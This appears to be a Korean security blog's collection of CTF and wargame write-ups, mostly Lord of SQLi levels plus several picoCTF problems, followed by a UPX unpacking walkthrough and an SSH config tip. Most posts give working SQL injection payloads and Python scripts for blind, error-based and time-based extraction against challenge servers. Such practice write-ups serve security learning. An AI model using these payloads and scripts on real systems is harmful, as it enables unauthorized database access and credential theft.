이 문제는 어셈블리어를 얼마나 이해를 하느냐를 묻는 문제이다.


intel_syntax noprefix

.bits 32

.global asm0

asm0:

push ebp

mov ebp,esp

mov eax,DWORD PTR [ebp+0x8]

mov ebx,DWORD PTR [ebp+0xc]

mov eax,ebx

mov esp,ebp

pop ebp

ret


ebp + 0x8 = argv[1]

ebp + 0xc = argv[2]


mov eax, ebx로 ebx 값을 eax에 넣는것을 볼 수 있다.


eax는 리턴값이다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] admin panel  (0) 2018.10.18
[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27


이 문제는 포렌식 문제로서 패킷을 분석하는 문제이다.

허나 문제에서 트래픽을 캡쳐했고 어드민 패널에 로그인을 한 패킷이라고 한다.

그렇다면 http 프로토콜로 찾으면 쉽게 필터를 할 수 있을 것이라 추측하였다.


수 많은 패킷 중에서 유일하게 통신하는 것들만 남았다.


POST 메소드로 login에 패킷을 쏜것을 발견할 수 있다.





플래그를 얻을 수 있었다.


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] assembly-0  (31) 2018.10.18
[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27

이 문제는 blind injection 기법으로 answer의 값을 가져와 인증을 하면 되는 문제이다.


먼저 길이는 아래의 쿼리로 가져올 수 있다.


a' or length(answer)=5 -- -


코드를 작성하여 편하게 가져왔다.



import requests

import json

length = 0

url = 'http://2018shell3.picoctf.com:2644/answer2.php';

headers = {'User-Agent': 'Mozilla/5.0'}

for i in range(1, 50):

param = {'answer' : "a' or length(answer)=" + str(i) + " -- -", 'debug':0}

rs = requests.post(url, data=param ,headers=headers)

text = rs.text

print(str(i) + "start")

if("You are so close." in text):

length = i

break

print("find length=" + str(length))



그 후 answer의 값을 가져오는 방법은 아래의 쿼리로 가져올 수 있다.


 a' or length(answer)=14 and Unicode(substr(answer, 1, 1))=41 -- -


이 역시 편하게 코드를 작성하여 처리했다.

exploit.py 


import requests

import json

length = 0

url = 'http://2018shell3.picoctf.com:2644/answer2.php';

headers = {'User-Agent': 'Mozilla/5.0'}

for i in range(1, 50):

param = {'answer' : "a' or length(answer)=" + str(i) + " -- -", 'debug':0}

rs = requests.post(url, data=param ,headers=headers)

text = rs.text

print(str(i) + "start")

if("You are so close." in text):

length = i

break

print("find length=" + str(length))


flag = ""

for i in range(1, length+1):

print("start " + str(i))

for c in range(48,125):

param = {'answer' : "a' or length(answer)=14 and unicode(substr(answer," + str(i) + ",1))=" + str(c) + " -- - ", 'debug': 0}

rs = requests.post(url, data=param, headers=headers)

text = rs.text

if("Wrong." in text):

continue

else:

print("find " + chr(c))

flag += chr(c)

break

print(flag)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] assembly-0  (31) 2018.10.18
[picoCTF] admin panel  (0) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27


이 문제는 flag를 알아내면 되는 문제이다.

허나 실제 플래그와 입력한 플래그가 틀린다면 리셋을 해버린다.


$new_flag substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);


ㅇㅇ;;


update문을 에러를 띄워서 찾아내면 대는거시다.

그렇다면 update문은 실제로 실행이 되지 않고 리셋이 되지 않는것이다.


하지만 맞는지 안맞는지를 어떻게 알아야할지가 문제였다.


방법은 sleep을 통해 리퀘스트 받은 시간으로 하면 대는거시여따.

sleep(0) 일 경우  select 1 union select 2를 이용하여 에러를 띄워주는 식인것이다.

맞으면 sleep(3)이 되어 실행이 대는거시다



import requests

import time


url = "https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}



'''

?flag=sleep(2*(length(flag)=1)) | (select 1 union select 2) -- -

'''

length = 16

strs = ""


for i in range(1, 50):

    start = time.time()

    rs = requests.get(url + "?flag=sleep(2*(length(flag)=" + str(i) + "))%20||%20(select%201%20union%20select%202)%20--%20-", headers=headers, cookies=cookies)


    if((time.time()-start) > 2):

        print("find it length = " + str(i))

        length = i

        break


for i in range(1, length+1):

    print(str(i) + " start !")

    for c in range(48, 127):

        start = time.time()

        rs = requests.post(url + "?flag=sleep(2*(flag%20like%20%27" + strs + chr(c) + "%%27))%20||%20(select%201%20union%20select%202)%20--%20-", headers=headers, cookies=cookies)


        if((time.time()-start) >2):

            print(str(i) + " find it " + str(c) + " " + chr(c))

            strs += chr(c)

            break



print(strs)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] admin panel  (0) 2018.10.18
[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22


이 문제는 if문이 막혀있었다.

그래서 검색을 해보니 union으로 거짓일 경우와 참일 경우를 비교하는 방법을 찾아냈다.



이것을 이용해서 이전 문제와 비슷하게 풀어냈다.


import requests



url = "https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}


'''

?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20length(pw)=8%20union%20select%201)--%20-

'''


length = 0


for i in range(1,100):

    rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20length(pw)=" + str(i) + "%20union%20select%201)--%20-", headers=headers, cookies=cookies)

    text = rs.text


    if("query" in text):

        print("find it length = " + str(i))

        length = i

        break



# get length


for i in range(1, length+1):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20ord(substr(pw, " + str(i) + ",1))="+ str(c) +"%20union%20select%201)--%20-", headers=headers, cookies=cookies)

        text = rs.text


        if("query" in text):

            print(str(i) + " find it " + str(c) + " " + chr(c))

            break

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22


이 문제는 애들한테 말로만 듣던 에러 기반 블라인드 인젝션 문제임을 파악할 수 있었다.


그저 쿼터 하나 넣었는데 에러가 뜨길래 파악을 할 수 있었다.


select * from table where 1 and if(1=1,1,(select 1 union select 2))


select * from table where 1 and if(1=2,1,(select 1 union select 2))


첫번째 예제는 if 절이 1=1 로 참이 되면서 단순히 1을 반환한다.


두번째 예제는 if 절이 거짓이 되면서 select 1 union select 2 라는 쿼리를 실행하게 되고,


서브쿼리에서 복수의 값을 반환하면서 에러가 발생하게 된다. (thx to hellsonic)


http://hackerschool.org/Sub_Html/HS_Posting/?uid=43


글을 읽고 풀었다.


너모 감사드린다.


import requests


url = "https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}


'''

?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=16),1,(select%201%20union%20select%202));%20%23%20

error : Subquery returns more than 1 row

'''


length = 0


for i in range(1,100):

    rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=" + str(i) + "),1, (select%201%20union%20select%202));%20%23%20", headers=headers, cookies=cookies)

    text = rs.text

    if("Subquery returns more than 1 row" in text):

        pass

    else:

        print("find it length = " + str(i))

        length = i/4

        break


# get length


for i in range(1, i+1):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((ord(substr(pw,"+ str(i) +",1))="+ str(c) +",1,(select%201%20union%20select%202));%20%23%20", headers=headers, cookies=cookies)

        text = rs.text

        if(not "Subquery returns more than 1 row" in text):

            print(str(i) + " find it " + str(c))

            break


유니코드이기때문에 /4를 해주었다.



'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22


이 문제는 우리는 pw를 입력하지만 앞에서 주석처리가 되어있었다;;

뭐 줄넘김 같은게 되지 않을까해서 \n을 넣어보고 했는데 

%0a가 있음을 깨달았다.


?pw=qwer%27%20%0a%20and%20pw=%27%27%20or%20id=%27admin

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22


이 문제는 정말 좋은 경험을 했다고 생각한다.



40글자라고 해서 좀 놀랐다.
허나 ascii(substr(pw,1,1)) 로 돌려보자 모든 값들이 0으로 나오는 것을 보고 유니코드임을 파악할 수 있었다.
유니코드는 4바이트로서 40/4를 하여 총 10글자임을 알 수 있었다.

유니코드는 ord 함수를 이용하여 뽑아내었따


import requests


url = "https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}



'''

?pw=1234%27%20or%20id=%27admin%27%20%20and%20right(left(pw,1),1)=%27a%27%23

?pw=1234%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,%201,%201))%20=%2010%20%23

'''


for x in range(10):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20ord(substr(pw,%20" + str(x) + ",%201))%20=%20" + str(c) + "%20%23", headers=headers, cookies=cookies)

        text = rs.text


        if("<h2>Hello admin</h2>" in text):

            print(str(x+1) +  " ascii = " + str(c) + " find it")




'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22


이 문제는 mysql 에서 문자열은 0이 된다.


?pw=%27)=0;%00


0=0은 true이기에 조건이 맞아서 출력이 댄다.

SELECT 'a' = 0 — TRUE

SELECT 'abc' = 0 — TRUE


SELECT '1' = 0 — FALSE

SELECT '123' = 0 — FALSE



SELECT 'x1' = 0 — TRUE


SELECT '1x' = 0 — FALSE 

SELECT '1x' = 1 — TRUE


SELECT '12x1' = 0 — FALSE

SELECT '12x1' = 121 — FALSE

SELECT '12x1' = 12 — TRUE 



'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22


이 문제는 싱글쿼터를 못 넣는다...

허나 생각해보니 저 쿼터를 문자열로 인식하게 되면 대는거시다.


그리고 무조건 True로 만들어서 아무 아이디나 뜨게 하면 되는거시다.


?id=\&pw=%20||%201=1%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22


이 문제는 싱글 쿼터를 사용못하게 막아두었다.

하지만 ereg에 널값을 주게 되면 싱글쿼터를 사용할 수 있다.


?id=%00%27%20%7C%7Cid="admin"%20%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22


like에는 % 정규식 비슷한게 있다.


https://www.w3schools.com/sql/sql_like.asp


이 문제는 조금 당황스러운 문제였다.

아무리해도 어드민이 뜨지 않는 것이다.


그래서 혹시 어드민과 게스트의 비밀번호가 비슷한게 아닐까 라는 생각을 하게 되었다.


import requests

headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

strs = "8_"

for i in range(8):
    for c in range(48,125):
        rs = requests.get(url + "?pw=" + strs + chr(c) + "%" ,headers=headers, cookies=cookies)

        text = rs.text

        if("<br><h2>Hello admin</h2>" in text):
            strs += chr(c)

            print(str(i+1) + " " +chr(c) + " find it”)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22


이 문제는 좀 신기했다.

실제에서도 이런 일이 생기는걸까?

무슨 의도가 있는지 나는 잘 모르겠다.


그냥 사이에 공백을 만들어줘서 풀었다.


?shit=%0b

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22


이 문제는 like가 막혀있으므로 in을 이용하여 풀면 된다.


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dlength(pw)%0din%0d(8)


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)
'''
for i in range(8):
    for c in range(33, 125):
        rs = requests.get(url + "?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw," + str(i+1) + "),1)%0din%0d(%22" + chr(c) + "%22)", headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):
            print(str(i+1) + " " +chr(c) + " find it”) 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22


?pw=1&no=1%20%7C%7C%20id%20like%20%22admin%22%20%26%26length(pw)%20like%208


?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20”a”


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20a
'''

for x in range(8):
    for c in range(33, 125):
        rs = requests.get(url + '?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,' + str(x+1) + '),1)%20like%20"' + chr(c) +'"' , headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):

            print(str(x+1) + " " + chr(c) + " find it") 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22


이 문제는 pw 가 실제 pw와 같아야한다.

이 역시 블라인드 인젝션으로 풀었다.


?pw=1234%27%7C%7Cid%20like%20%27admin%27%20%26%26%20length(pw)%20like%208%23


아마 이 문제 자바 수업때 안듣고 풀었던것 같은데 언제 풀었는지 기억이 안난다.

스크립트가 에버노트에 있는거보면 수업시간때 푼것 같다.


import requests

headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1234%27||id%20like%20%27admin%27%20%26%26%20right(left(pw,1),1)%20like%2013%23
'''
for x in range(8):
    for i in range(33, 125):
        rs = requests.get(url + "?pw=1234%27||id%20like%20%27admin%27%20%26%26%20right(left(pw," + str(x+1) + "),1)%20like%20'" + chr(i) + "' %23", headers=headers, cookies=cookies)
        text = rs.text

        if(“<br><h2>Hello admin</h2>" in text):

            print(str(x+1) + " " + chr(i) + " find it")

이 문제는 = 이 막혀있다.
in 이나 like로 이용하여 우회하면 된다. 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22


아이디만 바꾸면 대는 문제였다.


?pw=1234%27%20or%20id=%27admin%27%20%23%20

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22


사실 이 문제는 아마도 aadmindmin 을 의도한 것 같지만 나는 그냥 대문자로 풀었다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22


입력한 값이 admin일 경우 hehe를 띄운다


대문자를 이용하여 풀면 댄다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22


이것도 실제 pw 와 입력한 pw가 맞아야 풀리는 문제이기에 블라인드 인젝션을 이용하였다.


먼저 길이부터 파악했다.


?pw=1234%27%0d||id=%27admin%27%20%26%26%20length(pw)=8%0d--%20-


스크립트를 랩실에 있고 현재는 집에 있어서 걍 저걸로 올림 ㅎㅎ;


?pw=1234%27%0d||%0did=%27admin%27%0d%26%26%0dascii(substr(pw,1,1))%3E0%0d--%20-


이 또한 스크립트가 랩실에 있다 ㅎ


아무튼 하나하나 뽑아서 풀었다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22


이 문제는 전의 문제와 비슷한 방법으로 풀지만 or과 and가 막혀따


하지만 || 으로 대신하여 우회가 가능하다.


?pw=1234%27%20||%20id=%27admin%27%20%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18


이 문제는 아이디를 admin으로 바꾸면 된다.


pw를 아무거나 입력하고 뒤에 id=admin 이 실행되게 하면 되겠다.


?pw=123412312312%27%0dor%0did=%27admin%27%0d%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18


pw가 실제 pw가 맞는지 체크한다.

블라인드 인젝션 문제였다.


먼저 길이를 파악하기 위해 아래의 코드를 ㅇㅣ용햇다


import requests

url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'}


for i in range(20):
rs = requests.get(url + "?pw=1234' || id='admin' and length(pw)="+str(i) + " -- -", headers=headers, cookies=cookies)

text = rs.text
if("<br><h2>Hello admin</h2>" in text):

print(str(i) + " find it") 

길이를 확인한 후 씬나게 때려맞췄다.

import requests

url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'}


for j in range(8):
for i in range(33, 125):
rs = requests.get(url + "?pw=1234' || id='admin' and ascii(substr(pw," + str(j+1) + ", 1))=" + str(i) + "-- -", headers=headers, cookies=cookies)

text = rs.text
if("<br><h2>Hello admin</h2>" in text):
print(str(j) + " " + chr(i) + " find it")
break 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (62) 2018.09.18


id를 어드민으로 만들면 댄다.


and 연산이 먼저니까,,,0 으로 만들고 or로 뒤에 코드를 실행시키면 되시겟다!


?no=1 로 주면 게스트라고 뿌려준다.


없을 것 같은 값을 넣어서 아무 값도 안뿌려주면 없다는거시겠지,,,!


싱글쿼터랑 더블쿼터는 막혀있어서 char로 우회해줬다.


?no=112302130131290123||id=char(97,100,109,105,110)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (62) 2018.09.18
[Pwnable.kr] passcode - 10 pt  (0) 2017.01.25


이번 문제는 id가 admin이여야 풀림


개 멍청하게 연산자 우선 순위 생각 안해서 삽질을 했다.


?id=admin%27%20and%20pw=%271234551231%27%20or%20%271%27=%271%27%20--%20-


연산자 우선 순위 생각을 못하고 저렇게 작성했다...ㅠㅠㅠ

and 먼저 연산되고 그 뒤에 or 이 되는데 ㅠㅠㅠㅠㅠ

왜 or 먼저 된다고 생각했는지 원...


?id=admin%27%20and%20(pw=%271234551231%27%20or%20%271%27=%271%27)%20--%20-





'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] gremlin  (62) 2018.09.18
[Pwnable.kr] passcode - 10 pt  (0) 2017.01.25
[Pwnable.kr] fsb - 20 pt  (0) 2017.01.25




이 문제는 아이디가 걍 로그인만 되면 풀림


?id=hubeen&pw=1234%27%20or%201=1--%20-



' 로 싱글 쿼터 닫아주고 or 로 1=1 -- - 로 주석처리해서 풀음~

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[Pwnable.kr] passcode - 10 pt  (0) 2017.01.25
[Pwnable.kr] fsb - 20 pt  (0) 2017.01.25
[Pwnable.kr] input - 4 pt  (0) 2017.01.04

UPX Pakking principle

* UPX : 많고 많은 널리 사용되었던 실행 압축 프로그램


PE File : http://blog.hubeen.kr/306

실행압축?

실행압축이란 실행가능한 파일(PE파일)을 대상으로 파일 압축하여 용량과 리소스파일을 보지 못하게 함.
압축된 것을 푸는 방법은 파일 내에 압축해제 코드를 포함하고 있어서 실행되는 순간 메모리에서 압축을 해제시킨 후 실행된다.

Analysis


                                                                                                              [ not pakking.exe Section ]                                                                      [ pakking.exe Section ]                              


위의 이미지는 패킹된 프로그램과 패킹이 되지 않은 프로그램의 차이다.
패킹이 된 프로그램의 크기는 8.00KB에서 6.5KB로 줄어든 것을 볼 수 있으며,
섹션 또한 압축되어 있음을 알 수 있다.

PE File의 기본 구조는 IMAGE_DOS_HEADER - DOS_STUB_CODE - IMAGE_NT_HEADER - TEXT - data - .rsrc 이다.
하지만 압축된 프로그램의 섹션을 보면 UPX0 - UPX1 - .rsrc 로 되있는 것을 볼 수 있다.

그리고 보면 UPX0 섹션에는 RAW Size를 보면 0으로 아무런 값이 들어가있지 않는 청결 순수 이미지를 가진 섹션이라는 것을 알 수 있습니다.



하지만 virtual size는 6000이나 엄청 크다는 것을 볼 수 있습니다.

그렇다면 UPX1에는 압축해제 코드와 원본 데이터가 들어가있다는 것을 예상할 수 있습니다.

그리고 압축해제된 데이터는 upx0에 들어갈 것 같다는 예상을 할 수 있습니다.



그렇다면 이제 올리디버거를 열고 동적 분석을 시작하도록 하겠습니다.



프로그램 실행 전 레지스터와 스택의 상황입니다.



PUSHAD 명령어가 실행된 뒤의 스택의 상황입니다.

PUSHAD 명령어는 레지스터의 모든 값들을 스택에 집어넣습니다. 



ESI와 EDI를 첫번째 섹션과 두번째 섹션 주소로 세팅합니다.

ESI = UPX1

EDI = UPX0



아까 위에서 봤듯이 virtual size는 6000이였음을 보았습니다.

딱 UPX0과 UPX1의 차이가 6000임을 눈으로 직접 볼 수 있습니다.



이 부분은 UPX0 섹션의 데이터 1byte씩 읽어와서 집어넣는 부분이다.


[ UPX1 섹션 데이터 값들 ]


[ UPX0 섹션에 데이터가 차곡차곡 들어간 값들 ]


[ 압축해제 루틴 ]


IAT 복구



함수 이름을 UPX0에서 가져온 뒤 GetProcAddress 함수를 이용해서 함수의 주소를 읽어온다.



그리고 EBX가 가르키는 주소에 함수의 주소를 저장한다.


실제 주소인걸 화긴완료


이제 모든 코드를 압축해제하면 upx0 주소로 점프하는 것을 볼 수 있습니다.


'0x20 Security > 0x22 Reversing' 카테고리의 다른 글

PE File Format  (310) 2016.07.23


오늘 작성할 내용은 ssh config 파일을 설정하여 서버 정보와 유저정보를 적어두면 따로 유저@주소를 적으며 접속을 하지 않아도 되게 되는 매@직!

매우 편리한 기능이라 할 수 있다.


alias에 명령어를 등록해가며 사용하셨다면 그 동안 뻘짓을 하였구나 라고 생각할 수 있을 정도입니다!


먼저 위의 경로로 이동을 해봅시다!



.ssh 폴더는 한번이라도 ssh 접속을 하였다면 known_hosts 라는 파일에 서버의 rsa키 같은 것들이 저장이 됩니다. 


이 곳에 config 파일을 생성하면 편하게 접속이 되게 됩니다!



Host 이름

    HostName 서버의 아이피

    User 계정명

    #IdentityFile 인증서의 경로

#Port 포트 (기본 값은 22)


로 간편하게 등록하고 간편하게 접속이 가능합니다.

인증서라고 하면 pem 같은 인증서를 말합니다.


위와 같이 등록을 한 뒤에 퍼미션을 설정을 해주여야 됩니다.


$ chmod 440 ~/.ssh/config


위와 같이 퍼미션을 설정을 해주었다면 아래와 같이 편하게 접속을 할 수 있습니다.



즐겁게 게으른 생활을 합시다!


'0x20 Security > 0x26 Server' 카테고리의 다른 글

서버를 간지나게 꾸며보자  (0) 2016.10.14
Run ARM ELF for qemu in ubuntu  (0) 2016.08.31
Install mongodb  (0) 2016.07.26

+ Recent posts